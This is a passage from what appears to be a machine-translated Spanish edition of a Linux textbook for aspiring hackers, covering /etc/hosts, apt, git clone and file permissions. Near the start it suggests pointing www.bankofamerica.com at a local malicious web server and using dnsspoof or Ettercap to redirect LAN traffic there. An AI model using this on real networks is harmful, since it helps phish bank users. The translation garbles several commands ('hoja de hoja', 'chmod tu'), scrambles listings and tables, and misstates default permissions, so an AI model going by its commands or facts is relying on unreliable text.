encuentra en /etc/hosts y, al igual que con el DNS, puede usarlo para especificar
su propia dirección IP y asignación de nombre de dominio. En otras palabras,
puede determinar a qué dirección IP va su navegador cuando ingresa
www.microsoft.com (o cualquier otro dominio) en el navegador, en lugar de dejar que el servidor
Como hacker, esto puede ser útil para secuestrar una conexión TCP en su red de
área local para dirigir el tráfico a un servidor web malicioso con una herramienta
como dnsspoof.
Desde la línea de comando, escriba el siguiente comando (puede
sustituya su editor de texto preferido por leafpad):

kali > hoja de hoja /etc/hosts

Ahora debería ver su archivo de hosts, que se parecerá a la Figura 3-3.

Figura 3-3: Un archivo host predeterminado de Kali Linux

De manera predeterminada, el archivo de hosts contiene solo una asignación


para su host local, en 127.0.0.1, y el nombre de host de su sistema (en este caso,
Kali, en 127.0.1.1). Pero puede agregar cualquier dirección IP asignada a
cualquier dominio que desee. Como ejemplo de cómo se podría usar esto, podría
asignar www.bankofamerica.com a su sitio web local, en 192.168.181.131.

localhost
127.0.0.1 veces 127.0.1.1
192.168.181.131
bankofamerica.com

# Las siguientes líneas son deseables para hosts compatibles con


IPv6 localhost ip6-localhost ip6-loopback ::1
Machine Translated by Google

ff02::1 ip6-todos los nodos


ff02::2 ip6-todos los enrutadores

Asegúrese de presionar TAB entre la dirección IP y el dominio


tecla, no la barra espaciadora.
A medida que se involucre más en sus esfuerzos de piratería y aprenda sobre herramientas
como dnsspoof y Ettercap, podrá usar el archivo de hosts para dirigir cualquier tráfico en su LAN
que visite www.bankofamerica.com a su servidor web en 192.168.181.131 .

Bastante fácil, ¿verdad?

Resumen

Cualquier pirata informático necesita algunas habilidades básicas de redes de Linux para
conectarse, analizar y administrar redes. A medida que progrese, estas habilidades serán cada
vez más útiles para realizar tareas de reconocimiento, suplantación de identidad y conexión con
los sistemas de destino.

EJERCICIOS

Antes de pasar al Capítulo 4, pruebe las habilidades que aprendió en este capítulo completando los siguientes
ejercicios:

1. Encuentre información sobre sus interfaces de red activas.

2. Cambie la dirección IP en eth0 a 192.168.1.1.


3. Cambie su dirección de hardware en eth0.

4. Compruebe si tiene alguna interfaz inalámbrica disponible activa.


5. Restablezca su dirección IP a una dirección asignada por DHCP.

6. Encuentre el servidor de nombres y el servidor de correo electrónico de su sitio web favorito.

7. Agregue el servidor DNS de Google a su archivo /etc/resolv.conf para que su sistema se refiera a ese
servidor cuando no pueda resolver una consulta de nombre de dominio con su servidor DNS local.
Machine Translated by Google

4
AGREGAR Y ELIMINAR SOFTWARE

Una de las tareas más fundamentales en Linux, o cualquier sistema operativo, es


agregar y eliminar software. A menudo necesitará instalar software que no vino
con su distribución o eliminar software no deseado para que no ocupe espacio en
el disco duro.
Cierto software requiere otro software para ejecutarse y, a veces, encontrará
que puede descargar todo lo que necesita a la vez en un paquete de software,
que es un grupo de archivos, generalmente bibliotecas y otras dependencias, que
necesita para que una pieza de software funcione. ejecutar con éxito.
Cuando instala un paquete, todos los archivos que contiene se instalan juntos,
junto con un script para simplificar la carga del software.
En este capítulo, examinamos tres métodos clave para agregar software
nuevo: administrador de paquetes apt, administradores de instalación basados en
GUI y git.

Uso de apt para manejar el software


En las distribuciones de Linux basadas en Debian, que incluyen Kali y Ubuntu, el
administrador de software predeterminado es Advanced Packaging Tool, o apt,
cuyo comando principal es apt-get. En su forma más simple y común.
Machine Translated by Google

formulario, puede usar apt-get para descargar e instalar nuevos paquetes de


software, pero también puede actualizar y actualizar el software con él.

Búsqueda de un paquete Antes de

descargar un paquete de software, puede verificar si el paquete que necesita está


disponible en su repositorio, que es un lugar donde su sistema operativo almacena
información. La herramienta apt tiene una función de búsqueda que puede verificar si
el paquete está disponible. La sintaxis es sencilla:

palabra clave de búsqueda apt-cache

Tenga en cuenta que usamos el comando apt-cache para buscar el caché de


apt, o el lugar donde almacena los nombres de los paquetes. Entonces, si estuviera
buscando el sistema de detección de intrusos Snort, por ejemplo, ingresaría el
comando que se muestra en el Listado 4-1.

kali >apt-cache search snort fwsnort -


Traductor de reglas de Snort a iptables ippl - Registrador de
protocolos IP --snip-- snort - Sistema flexible de detección de
intrusos en la red snort-common - Sistema flexible de
detección de intrusos en la red - archivos comunes --snip--

Listado 4-1: Buscando en el sistema con apt-cache para Snort

Como puede ver, numerosos archivos tienen la palabra clave snort, pero cerca de
la mitad de la salida vemos snort: sistema flexible de detección de intrusos en la
red. ¡Eso es lo que estamos buscando!

Agregar software Ahora

que sabe que el paquete snort existe en su repositorio, puede usar apt-get para
descargar el software.
Para instalar una pieza de software del repositorio predeterminado de su sistema
operativo en la terminal, use el comando apt-get , seguido de la palabra clave install
y luego el nombre del paquete que desea instalar.
La sintaxis se ve así:
Machine Translated by Google

apt-get install nombre del paquete

Probemos esto instalando Snort en su sistema. Ingrese apt-get


instale snort como una declaración de comando, como se muestra en el Listado 4-2.

kali >apt-get install snort


Leyendo listas de paquetes...
Listo Construyendo árbol de
dependencias Leyendo información
de estado... Listo Paquetes sugeridos:
snort-doc Se instalarán los siguientes
paquetes NUEVOS: snort --snip-- Instale estos
paquetes sin verificación [ T/n]?

Listado 4-2: Instalando Snort con apt-get install

La salida que ve le dice lo que se está instalando. Si todo parece correcto, continúe e ingrese
y cuando se le solicite, y la instalación del software continuará.

Eliminación de software Al eliminar

software, utilice apt-get con la opción de eliminación , seguido del nombre del software que desea
eliminar (consulte el Listado 4-3).

kali >apt-get remove snort


Leyendo listas de paquetes...
Listo Creando árbol de
dependencias Leyendo información
de estado... Listo Los siguientes paquetes se instalaron automáticamente y ya
no son necesarios: libdaq0 libprelude2 oinkmaster snort-common-libraries snort-
rules-default - -snip-- ¿Quieres continuar [T/n]?

Listado 4-3: Eliminando Snort con apt-get remove

Nuevamente, verá las tareas que se están realizando en tiempo real y se le preguntará si
desea continuar. Puede ingresar y para desinstalar, pero es posible que desee mantener Snort ya
que lo usaremos nuevamente. El comando de eliminación no elimina los archivos de configuración,
lo que significa que puede volver a instalar el mismo paquete en el futuro sin volver a configurar.
Machine Translated by Google

Si desea eliminar los archivos de configuración al mismo tiempo que el


paquete, puede usar la opción de purga , como se muestra en el Listado 4-4.

kali >apt-get purge snort


Leyendo listas de paquetes...
Listo Creando árbol de
dependencias Leyendo información
de estado... Listo Los siguientes paquetes se instalaron automáticamente y ya no son
necesarios: libdaq0 libprelude2 oinkmaster snort-common-libraries snort-rules-default -
-snip-- ¿Quieres continuar [T/n]?

Listado 4-4: Eliminando Snort y los archivos de configuración que lo acompañan con apt-get purge

Simplemente ingrese Y en el aviso para continuar con la purga del software


paquete y los archivos de configuración.
Es posible que haya notado la línea Los siguientes paquetes se instalaron
automáticamente y ya no son necesarios en la salida. Para mantener las cosas
pequeñas y modulares, muchos paquetes de Linux se dividen en unidades de
software que pueden usar muchos programas diferentes. Cuando instaló Snort,
instaló varias dependencias o bibliotecas que Snort requiere para ejecutarse.
Ahora que está eliminando Snort, esas otras bibliotecas o dependencias ya no
son necesarias, por lo que también se eliminan.

Actualización de paquetes

Los repositorios de software se actualizarán periódicamente con nuevo software


o nuevas versiones de software existente. Estas actualizaciones no le llegan
automáticamente, por lo que debe solicitarlas para aplicar estas actualizaciones a
su propio sistema. Actualizar no es lo mismo que actualizar: actualizar simplemente
actualiza la lista de paquetes disponibles para descargar desde el repositorio,
mientras que actualizar actualizará el paquete a la última versión en el repositorio.

Puede actualizar su sistema individual ingresando el comando apt-get seguido


de la actualización de la palabra clave. Esto buscará en todos los paquetes de
su sistema y verificará si hay actualizaciones disponibles. Si es así, las
actualizaciones se descargan (vea el Listado 4-5).

kali >apt-get update


Obtener:1 http://mirrors.ocf.berkeley.edu/kali-rolling InRelease [30.5kb]
Machine Translated by Google

Obtener: 2 paquetes http://mirrors.ocf.berkeley.edu/kali kali-rolling/main amd64 [14,9 MB]

Obtenga: 3 http://mirrors.ocf.berkeley.edu/kali kali-rolling Paquetes amd64 no libres [163kb]

Obtener: 4 paquetes http://mirrors.ocf.berkeley.edu/kali kali-rolling/contrib amd64 [107 kB]

Obtuvo 15,2 MB en 1 min 4 s (236 kB/s)


Leyendo listas de paquetes... Listo

Listado 4-5: Actualización de todos los paquetes desactualizados con apt-get update

Se actualizará la lista de software disponible en el repositorio de su sistema.


Si la actualización es exitosa, su terminal indicará Leyendo listas de
paquetes... Listo, como puede ver en el Listado 4-5. Tenga en cuenta que el
nombre del repositorio y los valores (tiempo, tamaño, etc.) pueden ser diferentes
en su sistema.

Actualización de paquetes
Para actualizar los paquetes existentes en su sistema, use apt-get upgrade.
Debido a que la actualización de sus paquetes puede realizar cambios en su
software, debe iniciar sesión como root o usar el comando sudo antes de
ingresar a apt-get upgrade. Este comando actualizará todos los paquetes de
su sistema que apt conozca, es decir, solo aquellos almacenados en el
repositorio (consulte el Listado 4-6). La actualización puede llevar mucho
tiempo, por lo que es posible que no pueda usar su sistema por un tiempo.

kali >apt-get upgrade


Leyendo listas de paquetes... Listo
Creando árbol de dependencias... Listo
Calculando actualización... Listo Los
siguientes paquetes se instalaron automáticamente y ya no son necesarios: --snip-- Se
actualizarán los siguientes paquetes: - -snip-- 1101 actualizado, 0 recién instalado, 0 para
eliminar y 318 no actualizado.

Necesita obtener 827 MB de archivos.


Después de esta operación, se liberarán 408 MB de espacio en disco.
¿Quieres continuar? [T/n]

Listado 4-6: Actualizando todos los paquetes desactualizados con apt-get upgrade

Debería ver en el resultado que su sistema estima la cantidad de espacio


en el disco duro necesario para el paquete de software. Siga adelante y
Machine Translated by Google

ingrese Y si desea continuar y tiene suficiente espacio en el disco duro para la actualización.

Agregar repositorios a su archivo sources.list


Los servidores que contienen el software para distribuciones particulares de Linux se conocen como
repositorios. Casi todas las distribuciones tienen sus propios repositorios de software, desarrollados
y configurados para esa distribución, que podrían no funcionar bien, o no funcionar en absoluto, con
otras distribuciones. Aunque estos repositorios a menudo contienen el mismo software o uno similar,
no son idénticos y, a veces, tienen diferentes versiones del mismo software o software completamente
diferente.

Por supuesto, utilizará el repositorio de Kali, que tiene una gran cantidad de software de
seguridad y piratería. Pero debido a que Kali se especializa en seguridad y piratería, no incluye
ningún software y herramientas especiales, ni siquiera algún software común y corriente. Vale la
pena agregar uno o dos repositorios de respaldo en los que su sistema pueda buscar en caso de
que no encuentre un software específico en el repositorio de Kali.

Los repositorios en los que su sistema buscará software se almacenan en el archivo sources.list,
y puede modificar este archivo para definir de qué repositorios desea descargar el software. A
menudo agrego los repositorios de Ubuntu después de los repositorios de Kali en mi archivo
sources.list; De esa manera, cuando solicite descargar un nuevo paquete de software, mi sistema
buscará primero en el repositorio de Kali y, si el paquete de software no está allí, buscará en el
repositorio de Ubuntu.

Puede encontrar el archivo sources.list en /etc/apt/sources.list y abrirlo con cualquier editor de


texto. Volveré a usar Leafpad. Para abrir el archivo sources.list, ingrese lo siguiente en su terminal,
reemplazando leafpad con el nombre de su editor:

kali > hoja de hoja /etc/apt/sources.list

Después de ingresar este comando, debería ver una ventana como la que
en la Figura 4-1, con una lista de los repositorios predeterminados de Kali.
Machine Translated by Google

Figura 4-1: Repositorios predeterminados de Kali en sources.list

Muchas distribuciones de Linux dividen los repositorios en categorías separadas. Por ejemplo,
Ubuntu desglosa sus categorías de repositorio de la siguiente manera:

principal Contiene un universo de software de código abierto

compatible Contiene un universo de software de código abierto mantenido por la

comunidad Contiene software restringido por derechos de autor u otros problemas legales

restringido Contiene versiones posteriores de controladores de

dispositivos propietarios Contiene paquetes de versiones posteriores

No recomiendo usar repositorios de prueba, experimentales o inestables en su lista de fuentes


porque pueden descargar software problemático a su sistema. El software que no está completamente
probado puede dañar su sistema.

Cuando solicita descargar un nuevo paquete de software, el sistema busca secuencialmente a


través de sus repositorios enumerados en sources.list y se detiene cuando encuentra el paquete
deseado. Comprueba primero que el repositorio sea compatible con tu sistema. Kali, como Ubuntu,
se basa en Debian, por lo que estos repositorios funcionan bastante bien con cada uno de estos
sistemas.

Para agregar un repositorio, simplemente edite el archivo sources.list agregando el nombre del
repositorio a la lista y luego guarde el archivo. Digamos, por ejemplo, que desea instalar Oracle Java
8 en Kali. Ningún paquete apt para Oracle Java 8 está disponible como parte de las fuentes
predeterminadas de Kali, pero una búsqueda rápida en línea muestra que la buena gente de
WebUpd8 ha creado uno. Si agregas sus
Machine Translated by Google

repositorio a las fuentes, luego puede instalar Oracle Java 8 con el comando
apt get install oracle-java8-installer . En el momento de escribir este artículo,
deberá agregar las siguientes ubicaciones de repositorios a sources.list para
agregar los repositorios necesarios:

deb http://ppa.launchpad.net/webupd8team/java/ubuntu principal confiable


deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu principal preciso

Uso de un instalador basado en GUI


Las versiones más nuevas de Kali ya no incluyen una herramienta de instalación
de software basada en GUI, pero siempre puede instalar una con el comando
apt-get . Las dos herramientas de instalación basadas en GUI más comunes
son Synaptic y Gdebi. Instalemos Synaptic y usémoslo para instalar nuestro
paquete Snort:

kali >apt-get install synaptic


Leyendo listas de paquetes... Listo
Construyendo árbol de
dependencias Leyendo información
de estado... Listo --snip-- Activadores
de procesamiento para el menú (2.1.47)... kali
>

Una vez que haya instalado Synaptic, puede iniciarlo desde Configuración
ÿ Administrador de paquetes Synaptic, que debería abrir una ventana como la
de la Figura 4-2.
Machine Translated by Google

Figura 4-2: La interfaz del administrador de paquetes Synaptic

Ahora puede buscar el paquete que está buscando. Simplemente haga clic en la
pestaña Buscar para abrir una ventana de búsqueda. Como está buscando Snort
nuevamente, ingrese snort en la ventana de búsqueda y haga clic en Buscar.
Desplácese hacia abajo en los resultados de búsqueda para encontrar el paquete
que está buscando. Marque la casilla junto a snort y luego haga clic en la pestaña
Aplicar, como se muestra en la Figura 4-3. Synaptic ahora descargará e instalará
Snort desde el repositorio junto con las dependencias necesarias.
Machine Translated by Google

Figura 4-3: Descarga de Snort desde el administrador de paquetes Synaptic

Instalación de software con git


A veces, el software que desea no está disponible en ninguno de los
repositorios, especialmente si es nuevo, pero puede estar disponible en
github (https://www.github.com/), un sitio que permite a los desarrolladores compartir
su software con otros para descargarlo, usarlo y proporcionar comentarios. Para
Por ejemplo, si quieres hacer bluediving, un hacking y pentesting de Bluetooth
suite, y no puede encontrarlo en el repositorio de Kali, puede buscar github para
el software ingresando bluediving en la barra de búsqueda. Si existe en
github, debería ver el repositorio en los resultados de búsqueda.
Una vez que haya encontrado el software en github, puede instalarlo desde el
terminal ingresando el comando git clone seguido de su github
ejemplo,
buceo azul. Para https://www.github.com/balle/bluediving.git.
URL de es situado en

Para clonarlo en su sistema,


ingrese el comando que se muestra en el Listado 4-7.
Machine Translated by Google

kali >git clone https://www.github.com/balle/bluediving.git Clonación


en 'bluediving'... remoto: Contar objetos: 131, Listo. remoto: Total
131 (delta 0), reutilizado 0 (delta 0), pack-reutilizado 131 Recepción
de objetos: 100% (131/131), 900,81 KiB | 646,00 KiB/s, Listo.

Resolviendo deltas: 100% (9/9), Listo.


Comprobando conectividad... Listo.

Listado 4-7: Clonando bluediving con git clone

El comando git clone copia todos los datos y archivos de esa ubicación en
su sistema. Puede verificar que se hayan descargado correctamente usando el
comando de lista larga ls –l en el directorio de destino, así:

kali>ls-l

Si ha clonado con éxito bluediving en su sistema, debería ver el siguiente


resultado:

total 80
drwxr-xr-x 7 raíz raíz 4096 10 de enero 22:19 bluediving
drwxr-xr-x 2 raíz raíz 4096 5 de diciembre 11:17 Escritorio
drwxr-xr-x 2 raíz raíz 4096 5 de diciembre 11:17 Documentos
drwxr-xr -x 2 root root 4096 5 de diciembre 11:17 Descargas
drwxr-xr-x 2 root root 4096 5 de diciembre 11:17 Música --
snip--

Como puede ver, bluediving se ha clonado con éxito en el sistema y se ha


creado un nuevo directorio llamado bluediving para sus archivos.

Resumen En

este capítulo, aprendió algunas de las muchas formas de descargar e instalar


software nuevo en su sistema Linux. Los administradores de paquetes de
software (como apt), los instaladores basados en GUI y los clones de git son los
métodos más comunes y cruciales que debe conocer un aspirante a hacker.
Pronto se encontrará familiarizándose con cada uno de ellos.

EJERCICIOS
Machine Translated by Google

Antes de pasar al Capítulo 5, pruebe las habilidades que aprendió en este capítulo completando los
siguientes ejercicios:

1. Instale un nuevo paquete de software desde el repositorio de Kali.


2. Quite ese mismo paquete de software.
3. Actualice su repositorio.
4. Actualice sus paquetes de software.
5. Seleccione una nueva pieza de software de github y clónela en su sistema.
Machine Translated by Google

5
ARCHIVO Y DIRECTORIO DE CONTROL
PERMISOS

No todos los usuarios de un solo sistema operativo deben tener el mismo nivel de acceso a
archivos y directorios. Como cualquier sistema operativo de nivel profesional o empresarial,
Linux tiene métodos para asegurar el acceso a archivos y directorios. Este sistema de
seguridad permite que el administrador del sistema (el usuario raíz) o el propietario del
archivo proteja sus archivos de accesos no deseados o manipulaciones al otorgarles a
usuarios seleccionados permisos para leer, escribir o ejecutar archivos. Para cada archivo y
directorio, podemos especificar el estado de permiso para el propietario del archivo, para
grupos particulares de usuarios y para todos los demás usuarios. Esta es una necesidad en
un sistema operativo multiusuario de nivel empresarial. La alternativa sería bastante caótica.

En este capítulo, le mostraré cómo buscar y cambiar permisos en archivos y directorios


para usuarios seleccionados, cómo configurar permisos predeterminados de archivos y
directorios y cómo configurar permisos especiales.
Finalmente, verá cómo la comprensión de los permisos por parte de un pirata informático
puede ayudarlo a explotar un sistema.

Diferentes tipos de usuarios


Machine Translated by Google

Como sabes, en Linux, el usuario root es todopoderoso. El usuario root puede hacer
básicamente cualquier cosa en el sistema. Otros usuarios en el sistema tienen
capacidades y permisos más limitados y casi nunca tienen el acceso que tiene el
usuario root.

Estos otros usuarios generalmente se agrupan en grupos que generalmente


comparten una función similar. En una entidad comercial, estos grupos pueden ser
finanzas, ingeniería, ventas, etc. En un entorno de TI, estos grupos pueden incluir
desarrolladores, administradores de red y administradores de bases de datos. La idea
es poner a personas con necesidades similares en un grupo al que se le otorguen los
permisos pertinentes; luego, cada miembro del grupo hereda los permisos del grupo.
Esto se debe principalmente a la facilidad de administración de permisos y, por lo
tanto, a la seguridad.
El usuario raíz forma parte del grupo raíz de forma predeterminada. Cada nuevo
usuario en el sistema debe agregarse a un grupo para heredar los permisos de ese
grupo.

Concesión de permisos
A todos y cada uno de los archivos y directorios se les debe asignar un nivel particular
de permiso para las diferentes identidades que lo utilizan. Los tres niveles de permiso
son los siguientes:

r Permiso para leer. Esto otorga permiso solo para abrir y ver un archivo.

w Permiso para escribir. Esto permite a los usuarios ver y editar un archivo.

x Permiso para ejecutar. Esto permite a los usuarios ejecutar un archivo (pero no
necesariamente verlo o editarlo).

De esta manera, el usuario raíz puede otorgar a los usuarios un nivel de permiso
dependiendo de para qué necesitan los archivos. Cuando se crea un archivo,
normalmente el usuario que lo creó es el propietario del archivo y el grupo propietario
es el grupo actual del usuario. El propietario del archivo puede otorgarle varios
privilegios de acceso. Veamos cómo cambiar los permisos para pasar la propiedad a
usuarios individuales y grupos.
Machine Translated by Google

Concesión de propiedad a un usuario individual


Para mover la propiedad de un archivo a un usuario diferente para que tenga la
capacidad de controlar los permisos, podemos usar el comando chown (o
cambiar propietario):

kali >chown bob /tmp/ bobsfile

Aquí, damos el comando, el nombre del usuario al que le estamos dando


propiedad y luego la ubicación y el nombre del archivo relevante. Este comando
otorga a la cuenta de usuario de Bob ÿ la propiedad de bobsfile ÿ.

Concesión de propiedad a un grupo


Para transferir la propiedad de un archivo de un grupo a otro, podemos usar el
comando chgrp (o cambiar grupo).
Es más probable que los hackers trabajen solos que en grupos, pero no es
raro que varios hackers o pentesters trabajen juntos en un proyecto y, en ese
caso, es necesario usar grupos. Por ejemplo, puede tener un grupo de pentesters
y un grupo de miembros del equipo de seguridad trabajando en el mismo proyecto.
Los pentesters en este ejemplo son el grupo raíz, lo que significa que tienen todos
los permisos y accesos. El grupo raíz necesita acceso a las herramientas de
piratería, mientras que la gente de seguridad solo necesita acceso a herramientas
defensivas, como un sistema de detección de intrusos (IDS). Digamos que el
grupo raíz descarga e instala un programa llamado newIDS; el grupo raíz deberá
cambiar la propiedad al grupo de seguridad para que el grupo de seguridad pueda
usarlo a voluntad. Para hacerlo, el grupo raíz simplemente ingresaría el siguiente
comando:

kali >chgrp seguridad nuevoIDS

Este comando pasa al grupo de seguridad ÿ la propiedad de newIDS ÿ.


Ahora necesita saber cómo verificar si estas asignaciones han funcionado. Lo
hará comprobando los permisos de un archivo.
Machine Translated by Google

Comprobación de permisos
Cuando desee averiguar qué permisos se conceden a qué usuarios
para un archivo o directorio, use el comando ls con el interruptor –l (largo) para
mostrar el contenido de un directorio en formato largo; esta lista contendrá
los permisos En el Listado 5-1, uso el comando ls –l en el archivo
/usr/share/hashcat (una de mis herramientas favoritas para descifrar contraseñas) en orden
para ver qué podemos aprender sobre los archivos allí.

kali > ls –l / usr / compartir / hashcat


total 32952
ÿ ÿ ÿ ÿ drwxr-xr-x 5 raíz ÿÿ ÿ
raíz -rw-r--r-- 1 raíz raíz -rw-r--r-- 1 4096 5 de diciembre 10:47 juegos de caracteres
raíz raíz drwxr -xr-x 2 raíz raíz 33685504 28 de junio de 2018 hashcat.hcstat
drwxr -xr-x 2 raíz raíz drwxr -xr-x 33685504 28 junio 2018 hashcat.hctune
3 raíz raíz 4096 5 de diciembre 10:47 mascarillas
4096 5 de diciembre 10:47 OpenCL
4096 5 de diciembre 10:47 reglas

Listado 5-1: Verificando los permisos de un archivo con el comando de listado largo

En cada línea, obtenemos información sobre:

ÿ El tipo de archivo

ÿ Los permisos en el archivo para propietario, grupos y usuarios,


respectivamente

ÿ El número de enlaces (Este tema está más allá del alcance de este libro).

ÿ El propietario del archivo

ÿ El tamaño del archivo en bytes

ÿ Cuándo se creó o modificó por última vez el archivo

ÿ El nombre del archivo

Por ahora, concentrémonos en las cadenas aparentemente incomprensibles de


letras y guiones en el borde izquierdo de cada línea. Nos dicen si un
elemento es un archivo o directorio y qué permisos, si los hay, tiene.
El primer carácter le indica el tipo de archivo, donde d representa un
directorio y un guión (–) indica un archivo. Estos son los dos mas comunes
Machine Translated by Google

tipos de archivo.

La siguiente sección define los permisos en el archivo. Hay tres conjuntos de tres caracteres,
hechos de alguna combinación de lectura (r), escritura (w) y ejecución (x), en ese orden. El primer
conjunto representa los permisos del propietario; los segundos, los del grupo; y las últimas, las de
todos los demás usuarios.

Independientemente del conjunto de tres letras que esté viendo, si ve una r primero, ese usuario
o grupo de usuarios tiene permiso para abrir y leer ese archivo o directorio. Una w como letra del
medio significa que pueden escribir en (modificar) el archivo o directorio, y una x al final significa que
pueden ejecutar (o ejecutar) el archivo o directorio. Si cualquier r, w o x se reemplaza con un guión
(-), entonces no se ha otorgado el permiso respectivo. Tenga en cuenta que los usuarios pueden
tener permiso para ejecutar solo binarios o scripts.

Usemos la tercera línea de salida en el Listado 5-1 como ejemplo:

-rw-r--r-- 1 raíz raíz 33685504 28 de junio de 2018 hashcat.hcstat

El archivo se llama, como sabemos por el extremo derecho de la línea, hashcat.hcstat. Después
de la inicial ( que indica que es un archivo), los permisos rw nos dicen que el propietario tiene
permisos de lectura y escritura, pero no de ejecución.

El siguiente conjunto de permisos (r--) representa los del grupo y muestra que el grupo tiene permiso
de lectura pero no de escritura ni de ejecución. Y, por último, vemos que el resto de usuarios también
tienen solo permiso de lectura (r--).

Estos permisos no están escritos en piedra. Como usuario raíz o propietario del archivo,
puedes cambiarlos. A continuación, haremos precisamente eso.

Cambio de permisos
Podemos usar el comando de Linux chmod (o cambiar de modo) para cambiar los permisos. Solo
un usuario raíz o el propietario del archivo puede cambiar los permisos.

En esta sección, usamos chmod para cambiar los permisos en hashcat.hcstat usando dos
métodos diferentes. Primero usamos una representación numérica de
Machine Translated by Google

permisos, y luego usamos una representación simbólica.

Cambio de permisos con notación decimal


Podemos usar un atajo para referirnos a los permisos usando un solo número
para representar un conjunto de permisos rwx . Como todo lo que subyace a la
sistema operativo, los permisos se representan en binario, por lo que ON y
Los interruptores de APAGADO están representados por 1 y 0, respectivamente. Tu puedes pensar en
los permisos rwx como tres interruptores ON/OFF, por lo que cuando todos los permisos
se conceden, esto equivale a 111 en binario.
Un conjunto binario como este se representa fácilmente como un dígito por
convertirlo en octal, un sistema numérico de ocho dígitos que comienza con 0
y termina en 7. Un dígito octal representa un conjunto de tres dígitos binarios,
lo que significa que podemos representar un conjunto rwx completo con un dígito. Tabla 5-1
contiene todas las combinaciones de permisos posibles y su octal y binario
representantes.

Tabla 5-1: Representaciones octales y binarias de permisos

BinaryOctalrwx
000 0 ---

001 1 --X

010 2 -En

011 3 -wx

100 4 r--

101 5 receta

110 6 rw

111 7 rwx

Usando esta información, veamos algunos ejemplos. Primero, si nosotros


deseamos configurar solo el permiso de lectura, podemos consultar la Tabla 5-1 y
busque el valor para leer:
Machine Translated by Google

rwx
4--

A continuación, si queremos establecer el permiso en wx, podríamos usar el mismo


metodología y busque lo que establece la w y lo que establece la x:

rwx -
21

Observe en la tabla 5-1 que la representación octal para -wx es 3, que no por casualidad
resulta ser el mismo valor que obtenemos cuando sumamos los dos valores para establecer w y x
individualmente: 2 + 1 = 3.

Finalmente, cuando los tres permisos están activados, se ve así:

rwx 4
21

Y 4 + 2 + 1 = 7. Aquí vemos que en Linux, cuando todos los interruptores de permisos están
activados, se representan con el equivalente octal de 7.

Entonces, si quisiéramos representar todos los permisos para el propietario, el grupo y todos
los usuarios, podríamos escribirlo de la siguiente manera:

777

Aquí es donde entra en juego el atajo. Al pasar chmod tres dígitos octales (uno para cada
conjunto rwx ), seguidos de un nombre de archivo, podemos cambiar los permisos en ese archivo
para cada tipo de usuario. Ingrese lo siguiente en su línea de comando:

tiempos >chmod 774 hashcat.hcstat

Mirando la Tabla 5-1, podemos ver que esta declaración otorga al propietario todos los
permisos, al grupo todos los permisos y a todos los demás (otros) solo el permiso de lectura.

Ahora podemos ver si esos permisos han cambiado ejecutando ls -l en el directorio y


observando la línea hashcat.hcstat. Navegue hasta el directorio y ejecute ese comando ahora:
Machine Translated by Google

kali>ls-l
total 32952
drwxr-xr-x 5 ÿ raíz raíz 4096 5 de diciembre 10:47 juegos de caracteres
-rwxrwxr-- 1 -rw-r-- raíz raíz raíz 33685504 28 de junio de 2018 hashcat.hcstat
r-- 1 drwxr -xr-x raíz raíz raíz 33685504 28 junio 2018 hashcat.hctune
2 drwxr -xr-x 2 raíz raíz raíz 4096 5 de diciembre 10:47 mascarillas
drwxr -xr-x 3 raíz 4096 5 de diciembre 10:47 OpenCL
4096 5 de diciembre 10:47 reglas

Debería ver -rwxrwxr-- en el lado izquierdo de la línea hashcat.hcstat ÿ.


Esto confirma que la llamada chmod cambió con éxito los permisos en el
archivo para dar tanto al propietario como al grupo la capacidad de ejecutar el archivo.

Cambio de permisos con UGO


Aunque el método numérico es probablemente el método más común
para cambiar los permisos en Linux, algunas personas encuentran simbólico de chmod
método más intuitivo: ambos métodos funcionan igual de bien, así que solo encuentre
el que más te convenga. El método simbólico se conoce a menudo como el
Sintaxis UGO, que significa usuario (o propietario), grupo y otros.
La sintaxis de UGO es muy simple. Ingrese el comando chmod y luego el
usuarios para los que desea cambiar los permisos, proporcionando u para usuario, g para
grupo, u o para otros, seguido de uno de los tres operadores:

- Elimina un permiso

+ Agrega un permiso

= Establece un permiso

Después del operador, incluya el permiso que desea agregar o


remove (rwx) y, por último, el nombre del archivo al que aplicarlo.
Entonces, si desea eliminar el permiso de escritura del usuario que
el archivo al que pertenece hashcat.hcstat, puede ingresar lo siguiente:

kali >chmod tu hashcat.hcstat

Este comando dice que elimine (-) el permiso de escritura (w) de


hashcat.hcstat para el usuario (u).
Ahora, cuando verifique los permisos con ls –l nuevamente, debe
ver que el archivo hashcat.hcstat ya no tiene permiso de escritura para el
Machine Translated by Google

usuario:

kali>ls-l
total 32952
drwxr-xr-x 5 -r- raíz raíz raíz 4096 5 de diciembre 10:47 juegos de caracteres
xr-xr-- 1 -rw-r-- raíz raíz raíz 33685504 28 de junio de 2018 hashcat.hcstat
r-- 1 drwxr -xr-x raíz raíz raíz 33685504 28 junio 2018 hashcat.hctune
2 drwxr -xr-x 2 raíz raíz raíz 4096 5 de diciembre 10:47 mascarillas
drwxr -xr-x 3 4096 5 de diciembre 10:47 OpenCL
4096 5 de diciembre 10:47 reglas

También puede cambiar varios permisos con un solo comando. Si


desea dar tanto al usuario como a otros usuarios (sin incluir el grupo)
permiso de ejecución, puede ingresar lo siguiente:

chmod u+x, o+x hashcat.hcstat

Este comando le dice a Linux que agregue el permiso de ejecución para el usuario
así como el permiso de ejecución para otros para el archivo hashcat.hcstat.

Dar permiso de ejecución de raíz en una nueva herramienta


Como hacker, a menudo necesitará descargar nuevas herramientas de piratería, pero Linux
asigna automáticamente todos los permisos predeterminados de archivos y directorios de 666
y 777, respectivamente. Esto significa que, de forma predeterminada, no podrá
ejecutar un archivo inmediatamente después de descargarlo. Si lo intenta, por lo general
recibe un mensaje que dice algo así como "Permiso denegado". Para éstos
casos, deberá otorgarse permisos de root y ejecución mediante
chmod para ejecutar el archivo.

Por ejemplo, supongamos que descargamos una nueva herramienta para hackers llamada newhackertool
y colóquelo en el directorio del usuario raíz (/).

kali>ls-l
80 totales
drwxr-xr-x 7 raíz raíz 4096 5 de diciembre 11.17 Escritorio
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Documentos
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Descargas
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Música
-rw-r--r-- 1 root root 1072 5 de diciembre 11.17 newhackertoolÿ
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Imágenes
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Público
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Plantillas
drwxr-xr-x 7 raíz raíz 4096 5 de diciembre 11.17 Vídeos
Machine Translated by Google

